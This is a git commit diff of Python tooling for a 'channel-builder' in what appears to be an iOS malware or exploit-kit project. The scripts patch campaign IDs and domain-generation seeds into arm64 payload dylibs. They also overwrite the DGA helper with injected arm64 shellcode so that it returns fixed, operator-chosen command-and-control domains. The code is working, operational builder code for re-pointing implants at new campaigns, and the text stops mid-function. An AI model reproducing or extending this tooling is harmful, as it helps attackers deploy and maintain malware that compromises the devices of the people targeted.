fix: ios 16

This commit is contained in:
hashbro
2026-08-09 21:57:08 +08:00
parent 6bf33e2761
commit 6bc172c570
179 changed files with 6246 additions and 400 deletions
+22
View File
@@ -0,0 +1,22 @@
# channel-builder tools
```bash
python tools/new_project.py \
--artifact-root ../public \
--state-root ../storage/app/channel-builder \
--channel-id <32-hex> \
[--deployment-seed … --reporting-seed …] \
[--support-template test|blank] \
--force
```
| Path | Contents |
|------|----------|
| `{artifact-root}/web/<id>/` | support + stage + secondary(对外) |
| `{artifact-root}/sync/` | daily + modules(对外,全站共享) |
| `{state-root}/lab_seeds.json` | 全局 DGA seed(不对公网) |
| `{state-root}/out/` | 构建中间产物 |
```bash
python tools/delete_channel_web.py --artifact-root ../public --channel-id …
```
+125
View File
@@ -0,0 +1,125 @@
"""Patch campaign / channel id embedded in type-0x01 and core/business dylibs."""
from __future__ import annotations
import re
import secrets
# C-string keys immediately before the channel value in type-0x01 __cstring.
CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00"
CHANNEL_LEN = 32
# New channel ids: lowercase alphanumeric. Embedded originals remain hex.
_CHANNEL_RE = re.compile(rb"^[0-9a-z]{32}$")
_CHANNEL_HEX_RE = re.compile(rb"^[0-9a-f]{32}$")
def gen_channel_id() -> str:
"""32 lowercase hex chars (alphanumeric subset; pack-safe)."""
return secrets.token_hex(16)
def validate_channel_id(value: str, *, name: str = "--channel-id") -> str:
if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")):
raise SystemExit(
f"{name} must be exactly {CHANNEL_LEN} lowercase [0-9a-z] chars "
f"(got {value!r})"
)
return value
def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> list[int]:
"""Return offsets of the 32-byte channel value after CHANNEL_ANCHOR."""
offsets: list[int] = []
start = 0
while True:
index = data.find(CHANNEL_ANCHOR, start)
if index < 0:
break
value_at = index + len(CHANNEL_ANCHOR)
value = data[value_at : value_at + CHANNEL_LEN]
if (
len(value) == CHANNEL_LEN
and _CHANNEL_HEX_RE.fullmatch(value)
and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00"
):
if expect_old is None or value == expect_old:
offsets.append(value_at)
start = index + 1
return offsets
def patch_channel_in_dylib(
data: bytes,
new_channel: str,
*,
old_channel: str | None = None,
expect_hits: int = 1,
label: str = "dylib",
) -> bytes:
"""In-place replace type-0x01 channel C-string (must stay {CHANNEL_LEN} bytes)."""
new_channel = validate_channel_id(new_channel, name="channel")
new_b = new_channel.encode("ascii")
old_b = old_channel.encode("ascii") if old_channel else None
if old_b is not None:
validate_channel_id(old_channel, name="old channel")
offsets = find_channel_offsets(data, expect_old=old_b)
if len(offsets) != expect_hits:
raise SystemExit(
f"{label}: channel anchor hits={len(offsets)} (want {expect_hits}). "
"Secondary payload layout may have changed; re-adapt _channel_patch."
)
buf = bytearray(data)
for offset in offsets:
buf[offset : offset + CHANNEL_LEN] = new_b
return bytes(buf)
def find_plain_channel_offsets(data: bytes, channel: bytes) -> list[int]:
"""Return offsets of null-terminated plain ASCII channel C-strings."""
if len(channel) != CHANNEL_LEN or not _CHANNEL_HEX_RE.fullmatch(channel):
raise ValueError("channel must be 32 lowercase hex bytes")
needle = channel + b"\x00"
offsets: list[int] = []
start = 0
while True:
index = data.find(needle, start)
if index < 0:
break
offsets.append(index)
start = index + CHANNEL_LEN
return offsets
def patch_plain_channel_in_dylib(
data: bytes,
new_channel: str,
*,
old_channel: str,
expect_hits: int,
label: str = "dylib",
) -> bytes:
"""Replace plain C-string channel (core / business plugins; no type-0x01 anchor).
FAT arm64+arm64e binaries typically embed the same string once per slice
(expect_hits=2). Length must stay exactly 32 ASCII hex chars.
"""
new_channel = validate_channel_id(new_channel, name="channel")
old_channel = validate_channel_id(old_channel, name="old channel")
if new_channel == old_channel:
return data
old_b = old_channel.encode("ascii")
new_b = new_channel.encode("ascii")
offsets = find_plain_channel_offsets(data, old_b)
if len(offsets) != expect_hits:
raise SystemExit(
f"{label}: plain channel hits={len(offsets)} (want {expect_hits} for "
f"{old_channel}). Core/plugin layout may have changed."
)
buf = bytearray(data)
for offset in offsets:
buf[offset : offset + CHANNEL_LEN] = new_b
return bytes(buf)
+195
View File
@@ -0,0 +1,195 @@
"""Shared paths and seed helpers for channel-builder tooling.
Layout (coruna-lab/channel-builder):
source/
tools/
Served artifacts default to Laravel public/:
public/web/<channel-id>/
public/sync/
Builder state defaults to storage/app/channel-builder/:
lab_seeds.json, out/
"""
from __future__ import annotations
import hashlib
import sys
from pathlib import Path
TOOLS_ROOT = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS_ROOT.parent
# Historical alias: LAB_ROOT == builder root (source/ + tools/)
LAB_ROOT = BUILDER_ROOT
FRONTEND_ROOT = BUILDER_ROOT # legacy name used by some scripts
PROJECT_ROOT = BUILDER_ROOT.parent # coruna-lab
SOURCE_ROOT = BUILDER_ROOT / "source"
ARTIFACTS_ROOT = PROJECT_ROOT / "public"
STATE_ROOT = PROJECT_ROOT / "storage" / "app" / "channel-builder"
VENDOR_ROOT = TOOLS_ROOT / "vendor"
if str(VENDOR_ROOT) not in sys.path:
sys.path.insert(0, str(VENDOR_ROOT))
# Campaign / channel id embedded in type-0x01 binaries (seed template).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
# Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each).
ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active channel id (may be overridden)
# Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
ORIGINAL_REPORTING_SEED = "2d2aebba0bf3d7d694194a7ab93b0a96"
OLD_DEP = ORIGINAL_DEPLOYMENT_SEED.encode("ascii")
OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
# Active tree root for --apply targets.
# Shared layout: root/sync + root/web/<channel>/
_TREE_ROOT = SOURCE_ROOT
_SHARED_LAYOUT = False
CAMPAIGN_DIR = _TREE_ROOT / "web"
SYNC_DIR = _TREE_ROOT / "sync"
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web"
# Vendored plaintext inputs (all under source/).
TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs"
SYNC_DYLIBS_DIR = SOURCE_ROOT / "sync_dylibs"
CORE_DYLIB = SYNC_DYLIBS_DIR / "tmp.dylib"
DAILY_BODY = SOURCE_ROOT / "sync_config" / "daily.body"
SECONDARY_KEYS = TOOLS_ROOT / "secondary_keys.json"
SYNC_MODULES = TOOLS_ROOT / "sync_modules.json"
# Representative dylib per group (same bytes as the other stems in that group)
GROUP_DYLIBS = {
"A": TYPE0X01_DYLIBS_DIR / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib",
"B": TYPE0X01_DYLIBS_DIR / "7f208248c748f97956fe4a7cf246c91235852e67_type0x01.dylib",
}
def tree_root() -> Path:
return _TREE_ROOT
def shared_layout() -> bool:
return _SHARED_LAYOUT
def campaign_id() -> str:
return CAMPAIGN_HASH
def set_campaign_id(channel: str) -> str:
"""Set the channel embedded in payloads; refresh CAMPAIGN_DIR for current layout."""
global CAMPAIGN_HASH, CAMPAIGN_DIR
from _channel_patch import validate_channel_id
CAMPAIGN_HASH = validate_channel_id(channel, name="channel id")
if _SHARED_LAYOUT:
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
else:
CAMPAIGN_DIR = _TREE_ROOT / "web"
return CAMPAIGN_HASH
def set_tree_root(
root: Path,
*,
channel: str | None = None,
shared_layout: bool = False,
) -> Path:
"""Point CAMPAIGN_DIR / SYNC_DIR at artifact root.
shared_layout=True → root/web/<channel>/ + root/sync/
shared_layout=False → root/web/ + root/sync/ (legacy isolated channel root)
"""
global _TREE_ROOT, _SHARED_LAYOUT, CAMPAIGN_DIR, SYNC_DIR
root = root.resolve()
_TREE_ROOT = root
_SHARED_LAYOUT = shared_layout
SYNC_DIR = root / "sync"
if channel is not None:
set_campaign_id(channel)
elif shared_layout:
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
else:
CAMPAIGN_DIR = root / "web"
return root
def ensure_tree_layout(
root: Path,
*,
channel: str | None = None,
require_campaign: bool = True,
require_sync: bool = True,
) -> None:
_ = channel # channel already applied via set_tree_root
if root.resolve() != _TREE_ROOT:
raise SystemExit(f"ensure_tree_layout root mismatch: {root} != {_TREE_ROOT}")
missing = []
if require_campaign and not CAMPAIGN_DIR.is_dir():
missing.append("web/" + (f"{CAMPAIGN_HASH}/" if _SHARED_LAYOUT else ""))
if require_sync and not SYNC_DIR.is_dir():
missing.append("sync/")
if missing:
raise SystemExit(
f"missing working tree under {root} (need {', '.join(missing)}).\n"
f"Build with:\n"
f" python3 tools/new_project.py --artifact-root {root} --channel-id <id>"
)
def pack_seed(value: str) -> bytes:
data = value.encode("ascii")
if len(data) > 32:
raise SystemExit(
f"seed longer than 32 bytes ({len(data)}): {value!r}\n"
"Provide at most 32 ASCII characters (recommend exactly 32 hex chars)."
)
try:
data.decode("ascii")
except UnicodeDecodeError as exc:
raise SystemExit("seed must be ASCII") from exc
return data + b"\x00" * (32 - len(data))
def validate_seed_arg(name: str, value: str) -> str:
if not value:
raise SystemExit(f"{name} must be non-empty")
pack_seed(value) # length check
return value
def replace_seed(blob: bytearray, old: bytes, new32: bytes) -> int:
count = 0
start = 0
while True:
index = blob.find(old, start)
if index < 0:
break
blob[index : index + 32] = new32
count += 1
start = index + 32
return count
def patch_seeds_in_dylib(
data: bytes,
deployment_seed: str,
reporting_seed: str,
*,
expect_dep: int,
expect_rep: int,
label: str,
) -> bytes:
buf = bytearray(data)
nd = replace_seed(buf, OLD_DEP, pack_seed(deployment_seed))
nr = replace_seed(buf, OLD_REP, pack_seed(reporting_seed))
if nd != expect_dep or nr != expect_rep:
raise SystemExit(
f"{label}: unexpected seed hits dep={nd} rep={nr} "
f"(want {expect_dep}/{expect_rep}). Already patched?"
)
return bytes(buf)
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
+688
View File
@@ -0,0 +1,688 @@
"""Patch PLServerPool DGA helper to return fixed domain lists (probe/failover kept)."""
from __future__ import annotations
import struct
from dataclasses import dataclass, field
from _common import OLD_DEP, OLD_REP, pack_seed
_SUB_SP_E0 = 0xD10383FF
_MURMUR = bytes.fromhex("21368f52e1c6b372")
_NOP = 0xD503201F
_PACIBSP = 0xD503237F
_PACIBSP_ALT = 0xD503233F
_AUTIBSP = 0xD50323FF
# Standard arm64e return auth sequence used by the original helper epilogue:
# autibsp ; eor x16, x30, x30, lsl #1 ; tbz x16, #62, .+8 ; brk #0xc471 ; b <stub>
_EOR_X16_X30_LSL1 = 0xCA1E07D0
_TBZ_X16_BIT62_PLUS8 = 0xB6F00050
_BRK_C471 = 0xD4388E20
MAX_DOMAINS_PER_POOL = 8
MAX_DOMAIN_LEN = 63
def _b_target(pc: int, ins: int) -> int | None:
"""Return target of an unconditional B, or None if ``ins`` is not B."""
if (ins & 0xFC000000) != 0x14000000:
return None
imm = ins & 0x3FFFFFF
if imm & 0x2000000:
imm -= 0x4000000
return pc + imm * 4
def _is_pacibsp(ins: int) -> bool:
return ins in (_PACIBSP, _PACIBSP_ALT)
@dataclass
class SlicePatch:
file_offset: int
size: int
cpu_subtype: int
@dataclass
class SliceInfo:
blob: bytes
file_offset: int
cpu_subtype: int
sections: dict[str, tuple[int, int]] = field(default_factory=dict) # name -> (vm/file off, size)
@property
def is_arm64e(self) -> bool:
return bool(self.cpu_subtype & 0x80000000)
def iter_slices(data: bytes) -> list[SlicePatch]:
magic = struct.unpack_from("<I", data, 0)[0]
if magic in (0xBEBAFECA, 0xCAFEBABE):
nfat = struct.unpack_from(">I", data, 4)[0]
out: list[SlicePatch] = []
for i in range(nfat):
o = 8 + i * 20
_ct, cs, soff, ssize, _align = struct.unpack_from(">IIIII", data, o)
out.append(SlicePatch(soff, ssize, cs))
return out
return [SlicePatch(0, len(data), 0)]
def _parse_slice(data: bytes, sl: SlicePatch) -> SliceInfo:
blob = data[sl.file_offset : sl.file_offset + sl.size]
info = SliceInfo(blob=blob, file_offset=sl.file_offset, cpu_subtype=sl.cpu_subtype)
_magic, _ct, _cs, _ft, ncmds = struct.unpack_from("<IIIII", blob, 0)
off = 32
for _ in range(ncmds):
cmd, cmdsize = struct.unpack_from("<II", blob, off)
if cmd == 0x19: # LC_SEGMENT_64
nsects = struct.unpack_from("<I", blob, off + 64)[0]
so = off + 72
for _s in range(nsects):
sn = blob[so : so + 16].split(b"\x00")[0].decode()
saddr = struct.unpack_from("<Q", blob, so + 32)[0]
ssize = struct.unpack_from("<Q", blob, so + 40)[0]
sfo = struct.unpack_from("<I", blob, so + 48)[0]
# In these binaries vmaddr == fileoff for most sections.
info.sections[sn] = (sfo if sfo else saddr, ssize)
so += 80
off += cmdsize
return info
def normalize_domain(raw: str) -> str:
value = raw.strip()
if not value:
raise SystemExit("empty domain")
for prefix in ("https://", "http://"):
if value.lower().startswith(prefix):
value = value[len(prefix) :]
value = value.split("/")[0].strip()
if ":" in value:
host, port = value.rsplit(":", 1)
if port.isdigit():
value = host
if len(value) > MAX_DOMAIN_LEN:
raise SystemExit(f"domain longer than {MAX_DOMAIN_LEN}: {value!r}")
if not all(32 <= ord(ch) < 127 for ch in value):
raise SystemExit(f"domain must be ASCII: {value!r}")
return value
def parse_domain_list(values: list[str] | None, *, label: str) -> list[str]:
if not values:
raise SystemExit(f"{label}: provide at least one domain")
out: list[str] = []
for item in values:
for part in str(item).split(","):
part = part.strip()
if part:
out.append(normalize_domain(part))
if not out:
raise SystemExit(f"{label}: provide at least one domain")
if len(out) > MAX_DOMAINS_PER_POOL:
raise SystemExit(f"{label}: at most {MAX_DOMAINS_PER_POOL} domains")
seen: set[str] = set()
uniq: list[str] = []
for d in out:
if d not in seen:
seen.add(d)
uniq.append(d)
return uniq
def pack_domain_tables(dep: list[str], rep: list[str]) -> tuple[bytes, bytes]:
def one(domains: list[str]) -> bytes:
return bytes([len(domains)]) + b"".join(d.encode("ascii") + b"\x00" for d in domains)
return one(dep), one(rep)
def _enc_bl(pc: int, target: int) -> int:
imm = (target - pc) // 4
if not (-0x2000000 <= imm < 0x2000000):
raise SystemExit(f"bl out of range {pc:#x}->{target:#x}")
return 0x94000000 | (imm & 0x3FFFFFF)
def _enc_b(pc: int, target: int) -> int:
imm = (target - pc) // 4
if not (-0x2000000 <= imm < 0x2000000):
raise SystemExit(f"b out of range {pc:#x}->{target:#x}")
return 0x14000000 | (imm & 0x3FFFFFF)
def _enc_adr(rd: int, pc: int, target: int) -> int:
imm = target - pc
if not (-1048576 <= imm < 1048576):
raise SystemExit(f"adr out of range {pc:#x}->{target:#x}")
immlo = imm & 3
immhi = (imm >> 2) & 0x7FFFF
return 0x10000000 | (immlo << 29) | (immhi << 5) | rd
def _enc_adrp(rd: int, pc: int, target: int) -> int:
imm = (target >> 12) - (pc >> 12)
if not (-1048576 <= imm < 1048576):
raise SystemExit(f"adrp out of range {pc:#x}->{target:#x}")
immlo = imm & 3
immhi = (imm >> 2) & 0x1FFFFF
return 0x90000000 | (immlo << 29) | (immhi << 5) | rd
def _enc_ldr64_uoff(rt: int, rn: int, offset: int) -> int:
if offset % 8:
raise SystemExit("ldr offset must be 8-aligned")
imm12 = offset // 8
if not (0 <= imm12 <= 0xFFF):
raise SystemExit(f"ldr offset too large: {offset}")
return 0xF9400000 | (imm12 << 10) | (rn << 5) | rt
def _decode_ptr(raw: int, blob_len: int) -> int | None:
"""Decode plain or dyld-chained rebase pointer to a file/vm offset."""
if 0 < raw < blob_len:
return raw
# dyld_chained_ptr_64_rebase / arm64e variants: low 36 bits often hold target
target = raw & ((1 << 36) - 1)
if 0 < target < blob_len:
return target
return None
def _find_cfstring_for_cstring(info: SliceInfo, cstring_off: int) -> int:
blob = info.blob
# Fast path: plain pointer
ptr = struct.pack("<Q", cstring_off)
start = 0
while True:
i = blob.find(ptr, start)
if i < 0:
break
if i >= 16:
cfs = i - 16
length = struct.unpack_from("<Q", blob, cfs + 24)[0]
if length == 32:
return cfs
start = i + 1
# arm64e: scan __cfstring
off, size = info.sections.get("__cfstring", (0, 0))
if size:
for i in range(0, size, 32):
base = off + i
_isa, _flags, raw, length = struct.unpack_from("<QQQQ", blob, base)
if length != 32:
continue
tgt = _decode_ptr(raw, len(blob))
if tgt == cstring_off:
return base
raise SystemExit(f"CFString not found for cstring @{cstring_off:#x}")
def _find_stub_for_selector(info: SliceInfo, name: bytes) -> int:
blob = info.blob
name_off = blob.find(name + b"\x00")
if name_off < 0:
raise SystemExit(f"missing selector {name!r}")
selrefs: list[int] = []
# plain
ptr = struct.pack("<Q", name_off)
start = 0
while True:
i = blob.find(ptr, start)
if i < 0:
break
selrefs.append(i)
start = i + 1
# chained
off, size = info.sections.get("__objc_selrefs", (0, 0))
if size:
for i in range(0, size, 8):
base = off + i
raw = struct.unpack_from("<Q", blob, base)[0]
if _decode_ptr(raw, len(blob)) == name_off:
selrefs.append(base)
if not selrefs:
raise SystemExit(f"missing selref for {name!r}")
stubs_off, stubs_size = info.sections.get("__objc_stubs", (0xC0000, 0x40000))
lo = stubs_off
hi = stubs_off + stubs_size if stubs_size else min(len(blob), 0x100000)
for selref in selrefs:
for i in range(lo, hi, 4):
ins = struct.unpack_from("<I", blob, i)[0]
if (ins & 0x9F000000) != 0x90000000 or (ins & 0x1F) != 1:
continue
immlo = (ins >> 29) & 3
immhi = (ins >> 5) & 0x1FFFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
page = ((i >> 12) + imm) << 12
ins2 = struct.unpack_from("<I", blob, i + 4)[0]
if (ins2 & 0xFFC00000) != 0xF9400000 or (ins2 & 0x1F) != 1:
continue
imm12 = (ins2 >> 10) & 0xFFF
if page + imm12 * 8 == selref:
return i
raise SystemExit(f"missing objc stub for selector {name!r}")
def _find_classrefs(info: SliceInfo, body: int) -> tuple[int, int]:
blob = info.blob
cr_off, cr_size = info.sections.get("__objc_classrefs", (0x127E80, 0x400))
cr_lo, cr_hi = cr_off, cr_off + cr_size
hits: list[int] = []
# LDR literal (common in arm64)
for pc in range(body, body + 0x100, 4):
ins = struct.unpack_from("<I", blob, pc)[0]
if (ins & 0xFF000000) != 0x58000000:
continue
imm19 = (ins >> 5) & 0x7FFFF
if imm19 & 0x40000:
imm19 -= 0x80000
lit = pc + imm19 * 4
if cr_lo <= lit < cr_hi:
hits.append(lit)
# ADRP+LDR
for pc in range(body, body + 0x100, 4):
ins = struct.unpack_from("<I", blob, pc)[0]
if (ins & 0x9F000000) != 0x90000000:
continue
rd = ins & 0x1F
immlo = (ins >> 29) & 3
immhi = (ins >> 5) & 0x1FFFFF
imm = (immhi << 2) | immlo
if imm & (1 << 20):
imm -= 1 << 21
page = ((pc >> 12) + imm) << 12
if not (cr_lo <= page < cr_hi or cr_lo <= page + 0xFFF < cr_hi + 0x1000):
continue
ins2 = struct.unpack_from("<I", blob, pc + 4)[0]
if (ins2 & 0xFFC00000) != 0xF9400000:
continue
if ((ins2 >> 5) & 0x1F) != rd:
continue
imm12 = (ins2 >> 10) & 0xFFF
lit = page + imm12 * 8
if cr_lo <= lit < cr_hi:
hits.append(lit)
# de-dupe preserve order
uniq: list[int] = []
for h in hits:
if h not in uniq:
uniq.append(h)
if len(uniq) >= 2:
return uniq[0], uniq[1]
if len(uniq) == 1:
# NSString classref usually follows NSMutableArray
return uniq[0], uniq[0] + 8
# last resort: first two slots
return cr_off, cr_off + 8
def _collect_branch_targets(
blob: bytes, lo: int, hi: int, *, ops: tuple[int, ...] = (0x94000000,)
) -> list[int]:
out: list[int] = []
for i in range(lo, min(hi, len(blob) - 4), 4):
ins = struct.unpack_from("<I", blob, i)[0]
op = ins & 0xFC000000
if op not in ops:
continue
imm = ins & 0x3FFFFFF
if imm & 0x2000000:
imm -= 0x4000000
out.append(i + imm * 4)
return out
def _discover_dga(blob: bytes) -> tuple[int, int, int]:
"""Locate the PLServerPool DGA helper.
Returns ``(entry, body, end)`` where:
- ``body`` is the ``sub sp, sp, #0xe0`` prologue
- ``entry`` is the address callers actually enter (``pacibsp`` when present)
- ``end`` is the first byte *after* the replaceable region
Important: a ``b`` immediately before ``pacibsp`` is often the *previous*
function's tail branch (target ≠ body). Only treat ``b + pacibsp`` as an
8-byte trampoline when that ``b`` actually targets ``body``.
"""
idx = blob.find(_MURMUR)
if idx < 0:
raise SystemExit("DGA murmur constant not found")
body = None
for back in range(0, 0x300, 4):
addr = idx - back
if addr >= 0 and struct.unpack_from("<I", blob, addr)[0] == _SUB_SP_E0:
body = addr
break
if body is None:
raise SystemExit("DGA prologue not found")
entry = body
if body >= 4 and _is_pacibsp(struct.unpack_from("<I", blob, body - 4)[0]):
entry = body - 4
if body >= 8:
ins_b = struct.unpack_from("<I", blob, body - 8)[0]
if _b_target(body - 8, ins_b) == body:
# True compiler trampoline: b body; pacibsp; body
entry = body - 8
# Default span; shrink if another large-frame prologue follows.
end = body + 0x360
for a in range(body + 0x80, body + 0x400, 4):
if a + 4 > len(blob):
break
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
end = a
break
# arm64e helpers keep autibsp + auth + b <stub> after the stack restore.
# Include that tail in the patch window so our shellcode owns the return.
if entry < body and end + 16 <= len(blob):
if struct.unpack_from("<I", blob, end)[0] == _AUTIBSP:
# autibsp; eor; tbz; brk; b stub (5 ins)
end = end + 20
return entry, body, end
def _resolve_runtime_stubs(blob: bytes, body: int, end: int) -> dict[str, int]:
"""Map objc_retain / release / retainAutoreleased / autoreleaseReturnValue stubs."""
early = _collect_branch_targets(blob, body, body + 0x50, ops=(0x94000000,))
all_bl = _collect_branch_targets(blob, body, end, ops=(0x94000000,))
all_b = _collect_branch_targets(blob, body, end, ops=(0x14000000,))
if not early:
raise SystemExit("DGA helper has no early bl (objc_retain)")
retain = early[0]
page = retain & ~0xFFF
# libobjc stub island on same 4K page
island = sorted({t for t in (all_bl + all_b) if (t & ~0xFFF) == page})
if retain not in island:
island = sorted(set(island + [retain]))
# Typical layout near retain: ... autoreleaseReturn, release, retain, retainAutoreleased
lower = [t for t in island if t < retain]
higher = [t for t in island if t > retain]
release = lower[-1] if lower else None
auto_ret = lower[-2] if len(lower) >= 2 else (lower[0] if lower else None)
retain_auto = higher[0] if higher else None
# Fallbacks if ordering differs
if release is None and len(island) >= 2:
release = next((t for t in island if t != retain), None)
if retain_auto is None and len(island) >= 3:
retain_auto = next((t for t in island if t not in (retain, release)), None)
if auto_ret is None:
auto_ret = next((t for t in all_b if (t & ~0xFFF) == page), None)
if None in (retain, release, retain_auto, auto_ret):
raise SystemExit(
f"runtime stubs incomplete island={[hex(x) for x in island]} "
f"retain={retain!r} release={release!r} retainAuto={retain_auto!r} autoRet={auto_ret!r}"
)
return {
"retain": retain,
"release": release,
"retainAutoreleased": retain_auto,
"autoreleaseReturn": auto_ret,
}
def _apply_shellcode(
blob: bytes,
*,
entry: int,
body: int,
end: int,
stubs: dict[str, int],
class_array: int,
class_string: int,
dep_cf: int,
rep_cf: int,
dep_pack: bytes,
rep_pack: bytes,
label: str,
) -> bytes:
avail = end - entry
code: list[int] = []
labels: dict[str, int] = {}
pending: list[tuple[int, str, str]] = []
# arm64e helpers sign LR with pacibsp at the real entry (body-4).
has_pac = body >= 4 and _is_pacibsp(
struct.unpack_from("<I", blob, body - 4)[0]
)
def pc() -> int:
return entry + len(code) * 4
def emit(ins: int) -> None:
code.append(ins & 0xFFFFFFFF)
def mark(name: str) -> None:
labels[name] = pc()
def bl(target: int) -> None:
emit(_enc_bl(pc(), target))
def b_label(name: str) -> None:
pending.append((len(code), "b", name))
emit(0)
def cbz(rt: int, name: str) -> None:
pending.append((len(code), f"cbz{rt}", name))
emit(0)
def cbnz(rt: int, name: str) -> None:
pending.append((len(code), f"cbnz{rt}", name))
emit(0)
def adr(rd: int, name: str) -> None:
pending.append((len(code), f"adr{rd}", name))
emit(0)
def adrp_ldr(rd: int, abs_addr: int) -> None:
p = pc()
emit(_enc_adrp(rd, p, abs_addr))
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
# Match the original PAC entry when present. Starting the shellcode at the
# previous function's trailing `b` (old bug) skipped pacibsp and entered
# mid-frame-setup → crash before any /sync probe on arm64e type0x01/core.
if has_pac:
if entry == body - 8:
# True trampoline site: keep a branch into the pacibsp/body path.
emit(_enc_b(pc(), body - 4))
emit(_PACIBSP)
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these
# corrupts _generateDomainsLocked and aborts before any /sync probe.
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
emit(0xA9014FF4) # stp x20, x19, [sp, #0x10]
emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
emit(0x910103FD) # add x29, sp, #0x40
emit(0xAA0003F3) # mov x19, x0 ; seed NSString* (x1 is domain count)
bl(stubs["retain"])
emit(0xAA1303E0)
adr(2, "dep_cf")
bl(stubs["isEqualToString"])
cbz(0, "check_rep")
adr(21, "dep_table")
b_label("build")
mark("check_rep")
emit(0xAA1303E0)
adr(2, "rep_cf")
bl(stubs["isEqualToString"])
cbz(0, "empty")
adr(21, "rep_table")
b_label("build")
mark("empty")
adrp_ldr(0, class_array)
emit(0xD2800002)
bl(stubs["arrayWithCapacity"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F4)
b_label("done")
mark("build")
emit(0x394002B6)
emit(0x910006B5)
adrp_ldr(0, class_array)
emit(0x2A1603E2)
bl(stubs["arrayWithCapacity"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F4)
mark("loop")
cbz(22, "done")
adrp_ldr(0, class_string)
emit(0xAA1503E2)
bl(stubs["stringWithUTF8"])
bl(stubs["retainAutoreleased"])
emit(0xAA0003F9)
emit(0xAA1403E0)
emit(0xAA1903E2)
bl(stubs["addObject"])
emit(0xAA1903E0)
bl(stubs["release"])
mark("scan")
emit(0x394002A8)
emit(0x910006B5)
cbnz(8, "scan")
emit(0x510006D6)
b_label("loop")
mark("done")
emit(0xAA1303E0) # mov x0, x19
bl(stubs["release"])
emit(0xAA1403E0) # mov x0, x20 ; NSArray*
emit(0xA94367FA) # ldp x26, x25, [sp, #0x30]
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
if has_pac:
# Mirror the original arm64e return auth before the objc stub tail-call.
emit(_AUTIBSP)
emit(_EOR_X16_X30_LSL1)
emit(_TBZ_X16_BIT62_PLUS8)
emit(_BRK_C471)
emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
table_off = entry + len(code) * 4
if table_off % 4:
while (entry + len(code) * 4) % 4:
emit(_NOP)
table_off = entry + len(code) * 4
dep_table = table_off
rep_table = table_off + len(dep_pack)
abs_map = {
"dep_cf": dep_cf,
"rep_cf": rep_cf,
"dep_table": dep_table,
"rep_table": rep_table,
}
for idx, kind, name in pending:
p = entry + idx * 4
if kind.startswith("adr"):
rd = int(kind[3:])
code[idx] = _enc_adr(rd, p, abs_map[name])
continue
target = labels[name]
imm19 = (target - p) // 4
if kind == "b":
code[idx] = _enc_b(p, target)
elif kind.startswith("cbz"):
rt = int(kind[3:])
code[idx] = 0x34000000 | ((imm19 & 0x7FFFF) << 5) | rt
elif kind.startswith("cbnz"):
rt = int(kind[4:])
code[idx] = 0x35000000 | ((imm19 & 0x7FFFF) << 5) | rt
else:
raise SystemExit(f"{label}: bad fixup {kind}")
payload = b"".join(struct.pack("<I", ins) for ins in code) + dep_pack + rep_pack
if len(payload) > avail:
raise SystemExit(
f"{label}: need {len(payload)} bytes, only {avail} free in DGA region"
)
new_blob = bytearray(blob)
new_blob[entry : entry + avail] = payload + b"\x00" * (avail - len(payload))
return bytes(new_blob)
def patch_fixed_domains_in_dylib(
data: bytes,
deployment_domains: list[str],
reporting_domains: list[str],
*,
deployment_seed: str,
reporting_seed: str,
label: str,
) -> bytes:
dep = parse_domain_list(deployment_domains, label="deployment")
rep = parse_domain_list(reporting_domains, label="reporting")
dep_pack, rep_pack = pack_domain_tables(dep, rep)
out = bytearray(data)
seed_dep = pack_seed(deployment_seed)
seed_rep = pack_seed(reporting_seed)
for si, sl in enumerate(iter_slices(data)):
info = _parse_slice(bytes(out), sl)
# re-parse from current out
info = _parse_slice(bytes(out), sl)
blob = info.blob
entry, body, end = _discover_dga(blob)
dep_cs = blob.find(seed_dep)
rep_cs = blob.find(seed_rep)
if dep_cs < 0 or rep_cs < 0:
dep_cs = blob.find(OLD_DEP)
rep_cs = blob.find(OLD_REP)
if dep_cs < 0 or rep_cs < 0:
raise SystemExit(f"{label} slice{si}: seed cstrings not found")
dep_cf = _find_cfstring_for_cstring(info, dep_cs)
rep_cf = _find_cfstring_for_cstring(info, rep_cs)
runtime = _resolve_runtime_stubs(blob, body, end)
stubs = {
**runtime,
"isEqualToString": _find_stub_for_selector(info, b"isEqualToString:"),
"arrayWithCapacity": _find_stub_for_selector(info, b"arrayWithCapacity:"),
"addObject": _find_stub_for_selector(info, b"addObject:"),
"stringWithUTF8": _find_stub_for_selector(info, b"stringWithUTF8String:"),
}
class_array, class_string = _find_classrefs(info, body)
patched = _apply_shellcode(
blob,
entry=entry,
body=body,
end=end,
stubs=stubs,
class_array=class_array,
class_string=class_string,
dep_cf=dep_cf,
rep_cf=rep_cf,
dep_pack=dep_pack,
